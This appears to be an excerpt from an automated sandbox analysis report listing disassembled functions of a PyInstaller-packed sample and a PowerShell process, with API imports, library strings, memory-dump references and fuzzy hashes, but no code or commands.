Function 00007FF8A87EECE0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON

Download Yara Rule

APIs

new[].MSPDB140-MSVCRT ref: 00007FF8A87EEDF7

Strings

%s%c%s, xrefs: 00007FF8A87EED56
winFullPathname1, xrefs: 00007FF8A87EEDDC
?, xrefs: 00007FF8A87EED21
:, xrefs: 00007FF8A87EED11
\, xrefs: 00007FF8A87EED68
:, xrefs: 00007FF8A87EED4C
winFullPathname2, xrefs: 00007FF8A87EEE65

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: new[]
String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
API String ID: 4059295235-3840279414
Opcode ID: 637503c092be492cd4fda511486be557541f8ece5357f2cc4be0350b725c3a03
Instruction ID: 6d12c794e18ef4f8426e090fa7e03f88600e988cd533984b413f40867d1fdd6b
Opcode Fuzzy Hash: 637503c092be492cd4fda511486be557541f8ece5357f2cc4be0350b725c3a03
Instruction Fuzzy Hash: 47510622E4E28667FB15EB6198056BA2B91EF44BC8F8C0435DD8D17792EF3CE4458339

Function 00007FF8A8804CE0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A8804DF3
00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A8804F86

Strings

a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309, xrefs: 00007FF8A8805120
%s at line %d of [%.10s], xrefs: 00007FF8A8805139
database corruption, xrefs: 00007FF8A880512D

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007
String ID: %s at line %d of [%.10s]$a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309$database corruption
API String ID: 3568877910-481979681
Opcode ID: a7d21024e195673058092d446b3059841ce808f720460b2c908ffec807c546ce
Instruction ID: 3e2306304e398e3e0362d5a647c87d682bb88c9427684100782df1313fb02d00
Opcode Fuzzy Hash: a7d21024e195673058092d446b3059841ce808f720460b2c908ffec807c546ce
Instruction Fuzzy Hash: 54D19B72B0AA8696DB60CF26E0056A977B4FB88BC8F158036DF4D47794DF39D842C724

Function 00007FF78DA52710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF78DA51B99), ref: 00007FF78DA52760

Strings

[PYI-%d:%s] , xrefs: 00007FF78DA52768
Error, xrefs: 00007FF78DA527DE
Error [ANSI Fallback], xrefs: 00007FF78DA527CF
ERROR, xrefs: 00007FF78DA5276F

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: a102679c207bf8e8a0f28fad2fd7a5f3d7ad7702f2b82e44d499fd2343d61ec9
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: B4219572A1C78192E710EB50B841BE6A3A4FB887C4FA00131FE8D83659EF7CD949C751

Function 00007FF8A9314ED0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 268COMMON

Download Yara Rule

APIs

00007FF8C61208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A9314F5E

Strings

T, xrefs: 00007FF8A9314F7E
, xrefs: 00007FF8A93150B7
..\s\ssl\ssl_sess.c, xrefs: 00007FF8A9314EF6

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007C61208
String ID: $..\s\ssl\ssl_sess.c$T
API String ID: 3535234312-2024727245
Opcode ID: 04e235955fded6e715e2a9968c5ac263d3c2d904f0d42ba18503353ba86dd6e0
Instruction ID: a1d2861d8df6148c6551b419fce85ef0c506935ccba288e8f120a0e10dc412eb
Opcode Fuzzy Hash: 04e235955fded6e715e2a9968c5ac263d3c2d904f0d42ba18503353ba86dd6e0
Instruction Fuzzy Hash: 35C18E36A0EAC2A2EB659F25D8947F927A1FB84BC4F141035DE1D8B7A5DF3CE5418B00

Function 00007FF8A87FEDB0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A87FF01A

Strings

a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309, xrefs: 00007FF8A87FEE82
%s at line %d of [%.10s], xrefs: 00007FF8A87FEE9A
database corruption, xrefs: 00007FF8A87FEE8E

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007
String ID: %s at line %d of [%.10s]$a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309$database corruption
API String ID: 3568877910-481979681
Opcode ID: 91451953014f13e3dad7351947cceb385dfc86b279026e58667cb497cc0ac13c
Instruction ID: a14a27d7b74a8a03459a9525296869ebe5e207cf3495ef4ebfebe14d843a0582
Opcode Fuzzy Hash: 91451953014f13e3dad7351947cceb385dfc86b279026e58667cb497cc0ac13c
Instruction Fuzzy Hash: 0E71B01390E1E662E368672AA1504BEBED1E750381F444232EFEA477D1CF6CEA44D738

Function 00007FF78DA5D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF78DA5D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF78DA5D77A
RtlUnwindEx.KERNEL32 ref: 00007FF78DA5D7D4

Strings

csm, xrefs: 00007FF78DA5D761

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: 29a24ee05253321d072c1ef32378a92ee49d4d47cac94239ae5a4f9535a6faa5
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: B6519E22A1D6028ADF14AB55E444E38A7A1FB44B98FB48134DA5A87788EF3CEC45C711

Function 00007FF78DA6A684 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF78DA6A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78DA6A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF78DA6A750
IsDebuggerPresent.KERNEL32 ref: 00007FF78DA6A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF78DA6A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF78DA6A79E

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c00590035363e6c8fe05a9486c5a4b01939d56b231b01a2e093bb4448abb86cc
Instruction ID: e124c569ee0c8ac2c3d44524dbcf1e6e41ed29b8a47023b9171b3a469cf22061
Opcode Fuzzy Hash: c00590035363e6c8fe05a9486c5a4b01939d56b231b01a2e093bb4448abb86cc
Instruction Fuzzy Hash: 2E217F32618F818AD720DF65E8406AEB3A0FB88748FA00135EA8D43B58EF3CC519CB11

Function 00007FF8A92E23C4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

00007FF8BFAB1210.VCRUNTIME140 ref: 00007FF8A931ED78
00007FF8BFAB1210.VCRUNTIME140 ref: 00007FF8A931EDAF

Strings

..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FF8A931ECBE, 00007FF8A931EDF4, 00007FF8A931EE28

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007B1210
String ID: ..\s\ssl\statem\extensions_clnt.c
API String ID: 1012300203-592572767
Opcode ID: edc101f3a85b0b27638e87c91bbae4d2ccc787db6c327d5d2c7f388d1dad4aec
Instruction ID: 4dd80bb77d8d222deaca6752ea773651cf8d65ed69f3793a417999a3b6de4bd1
Opcode Fuzzy Hash: edc101f3a85b0b27638e87c91bbae4d2ccc787db6c327d5d2c7f388d1dad4aec
Instruction Fuzzy Hash: FB41A07270DAC196EB208F15E4402ADA7B4FB44BC4F145031EB4C87BA9EF7DD5A18700

Function 00007FF78DA6F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF78DA6F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF78DA6F6BA

Strings

:, xrefs: 00007FF78DA6F67E

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 779a21297323b81187f7e0c7d27b40be9ec8fbab2d126766b2de98969da868de
Instruction ID: 5caf77bb7a427f7bcc5ee072635b860c76652069f9402c3a4dde291d2f2b1d77
Opcode Fuzzy Hash: 779a21297323b81187f7e0c7d27b40be9ec8fbab2d126766b2de98969da868de
Instruction Fuzzy Hash: E121A562A0C681C2EB24AB55E04467DA3B1FB84B44FF54035DB8D43694EF7CDD49CB62

Function 00007FF8A92E175D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

00007FF8BFAB1210.VCRUNTIME140 ref: 00007FF8A9325046

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FF8A932505D, 00007FF8A93250A1
3, xrefs: 00007FF8A93250A8

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007B1210
String ID: ..\s\ssl\statem\extensions_srvr.c$3
API String ID: 1012300203-3555168737
Opcode ID: 8a03604f084b97590bd02f07ae30f02319525a90becd5bba08554874673e98bb
Instruction ID: 6f14c49a39ce0595baea2273341ae67593e8e06bc6bc133ee924286f8d07b3f4
Opcode Fuzzy Hash: 8a03604f084b97590bd02f07ae30f02319525a90becd5bba08554874673e98bb
Instruction Fuzzy Hash: 0F218B7270EA8196E7518F15E8803A963A4FB89BC8F585131DA4C8BB99DF7DD690C700

Function 00007FF8A92E6FA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FF8A92E6FC6
SystemTimeToFileTime.KERNEL32 ref: 00007FF8A92E6FD6

Strings

gfff, xrefs: 00007FF8A92E700A

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: 66c8300b4af59c15dcd97ce3226c8c86c40103537a2148157172d17d4dc686d1
Instruction ID: 4e1f58f5d8c545570e3f13a82bfd64df253f54345614e793646c03fb702d81ec
Opcode Fuzzy Hash: 66c8300b4af59c15dcd97ce3226c8c86c40103537a2148157172d17d4dc686d1
Instruction Fuzzy Hash: A001DBE2B1998552EF60DF39F841165A7E0E7CC7C4B449031EB5DCBB69EE2CD1418700

Analysis Process: powershell.exePID: 5440, Parent PID: 5988COMMON

Executed Functions

Function 00007FF8475FA816 Relevance: 1.5, Strings: 1, Instructions: 282COMMON

Download Yara Rule

Strings

iQ_L, xrefs: 00007FF8475FA8F4

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID: iQ_L
API String ID: 0-1214082866
Opcode ID: 7739aaab930eebd62609a6123f4683762a4cad7ea66dda0b7b8a088de7841c7f
Instruction ID: 05e020269109e13696767fa8e862d6435930a826f1dc1fdce0d31bc771746c87
Opcode Fuzzy Hash: 7739aaab930eebd62609a6123f4683762a4cad7ea66dda0b7b8a088de7841c7f
Instruction Fuzzy Hash: 5E91493190DBC28FE316EB288C9956D7BE0EF53254B1906BAC4E9CB153FE156807C752

Function 00007FF8475FA83C Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

iQ_L, xrefs: 00007FF8475FA8F4

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID: iQ_L
API String ID: 0-1214082866
Opcode ID: 7e58f51ff6a7d38f624b5aad39845650e3183cc6532a89533a5a496f8f229593
Instruction ID: 615f43211c65f8d7e79ced2a48a1058fbc32f2a76a83b76839195d69695775f2
Opcode Fuzzy Hash: 7e58f51ff6a7d38f624b5aad39845650e3183cc6532a89533a5a496f8f229593
Instruction Fuzzy Hash: EF41593060CB898FE359EA2CC84597577E0EF5A354B1405BED48AC7293E916FC43C742

Function 00007FF8475F3428 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

/Q^, xrefs: 00007FF8475F34E4

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID: /Q^
API String ID: 0-497705585
Opcode ID: f61872b938807a974fdb13fa97ad1563c6e4772364217ffa508de68a76043ff7
Instruction ID: b8bca72d073dc66ba1853a58804fe5948331447c9598a8a1381b63b8031f0c4c
Opcode Fuzzy Hash: f61872b938807a974fdb13fa97ad1563c6e4772364217ffa508de68a76043ff7
Instruction Fuzzy Hash: 10217E76D0D3C28FF3575A786C6A0A93FA0EF5366074A02FBC4958B0A3D41A184BC755

Function 00007FF8476C67F5 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2234054761.00007FF8476C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8476c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d88b84cbaff0810501a831bd75143f49551401a66ff7d3b6042c05f9ab5b61e
Instruction ID: ee23894a7e91fa0fcbc1ab072646704261e295cfc7f2bbbcf3a464f0c2bcba1c
Opcode Fuzzy Hash: 3d88b84cbaff0810501a831bd75143f49551401a66ff7d3b6042c05f9ab5b61e
Instruction Fuzzy Hash: A6D15731E1EB8A9FEB95AB6858185B97BE2FF06790B0801FED00DC70D3DA19AC05C355

Function 00007FF8474DE380 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2230475030.00007FF8474DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8474DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8474dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9d3558893a0d945dd131e3ed1f3eddebf5dfeba19fcda3f7849754753d9c0f1
Instruction ID: 5ebcdd7a440556be85992254c595bfc7f0796bb66598df01c28f047de530de97
Opcode Fuzzy Hash: b9d3558893a0d945dd131e3ed1f3eddebf5dfeba19fcda3f7849754753d9c0f1
Instruction Fuzzy Hash: BF41157180DBC48FE7569B3998459A23FF0EF53364B1506EFD0C8CB1A3D625A846C792

Function 00007FF8475F9880 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ceaacea401a5576e4c36ed608e25b77a2e3138bf6fa5268152a354a879e2608
Instruction ID: 578aab17174b661b560042c6b25a13ed1804003f0f7b54074b237de0b4c60688
Opcode Fuzzy Hash: 4ceaacea401a5576e4c36ed608e25b77a2e3138bf6fa5268152a354a879e2608
Instruction Fuzzy Hash: C131B57191CB888FDB189B5C9C066E97BF0FB99711F00426FE449D3252DA71A855CBC2

Function 00007FF8475FBD7D Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d16d3998c66611d13640c0d10400d9e54de1fdac20053561a36e3a784d50a80
Instruction ID: 6850caa5ff1c4bb563ef2a90ee1aa81908db62b41d4b5b4fe125f135c82f35eb
Opcode Fuzzy Hash: 5d16d3998c66611d13640c0d10400d9e54de1fdac20053561a36e3a784d50a80
Instruction Fuzzy Hash: 7E31C57161CB888FDB49DB6CDC497E97BF0EF66324F0441ABD058C7152DA24A41ACB92

Function 00007FF8475F33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: c6043eeaaf01bdc5c371b24dd5f80e8f47315a491e1f9b889fede4f0cb959390
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 0401677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC36A5DA36E882CB45

Function 00007FF8475FA1FB Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 932fe25a96255ac537f174e8de1c100fb8bec4956a5cdf622dd61897872460a9
Instruction ID: bfb048362f37a51bf29b73eebdddb96a17db9225f90f1ef0644a294e1cef0422
Opcode Fuzzy Hash: 932fe25a96255ac537f174e8de1c100fb8bec4956a5cdf622dd61897872460a9
Instruction Fuzzy Hash: 8FF0C272908A8C8FCB55EF28DC592E93FE0FF66245F0502ABD859CB051E7724518C7C2

Function 00007FF8476C432D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2234054761.00007FF8476C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8476c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d39a95b2e34a6e4f07252022446041415df977e840567098c17fdcb38e0141f
Instruction ID: 83b3bb4469e653f8313071aee81f3d1bccfcaf267d64ca126fc30084794802f7
Opcode Fuzzy Hash: 8d39a95b2e34a6e4f07252022446041415df977e840567098c17fdcb38e0141f
Instruction Fuzzy Hash: BFF0BE32E0D6098FDA68EA1CE8008E87BE1FF8536071100BAE05DC70ABDA26EC41C780

